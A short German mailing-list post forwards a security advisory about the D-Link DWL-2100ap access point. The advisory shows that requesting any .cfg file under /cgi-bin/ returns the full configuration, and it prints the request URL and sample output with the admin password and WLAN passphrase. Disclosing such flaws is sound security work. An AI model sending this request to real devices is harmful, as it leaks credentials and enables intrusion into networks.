[Wien] Spass mit D-Link

[markus sulzbacher]

Wie schon im Linuxwochenvortrag erwähnt: Hersteller bauen Backdoors
ein ...

lg m.


# ADVISORY/0206 - D-Link Wireless Access-Point (DWL-2100ap) 
# INTRUDERS TIGER TEAM SECURITY - SECURITY ADVISORY
# http://www.intruders.com.br/ , http://www.intruders.org.br/

Making a HTTP request to the /cgi-bin/ directory, the Web server will return error 404 (Page not found).
Making a HTTP request to the /cgi-bin/AnyFile.htm, the Web server will return error 404 (Page not found).
However, making a HTTP request to any file in /cgi-bin/ directory, with .cfg extension, will return all the device configuration.

For example, making the following request:

http://dlink-DWL-2100ap/cgi-bin/Intruders.cfg
We would have a result equivalent to the following:

# Copyright (c) 2002 Atheros Communications, Inc., All Rights Reserved
# DO NOT EDIT -- This configuration file is automatically generated
magic Ar52xxAP
fwc: 34
login admin
DHCPServer
Eth_Acl
nameaddr
domainsuffix
IP_Addr 10.0.0.30
IP_Mask 255.0.0.0
Gateway_Addr 10.0.0.1
RADIUSaddr
RADIUSport 1812
RADIUSsecret
password IntrudersTest
passphrase
wlan1 passphrase AnewBadPassPhrase
# Several lines removed.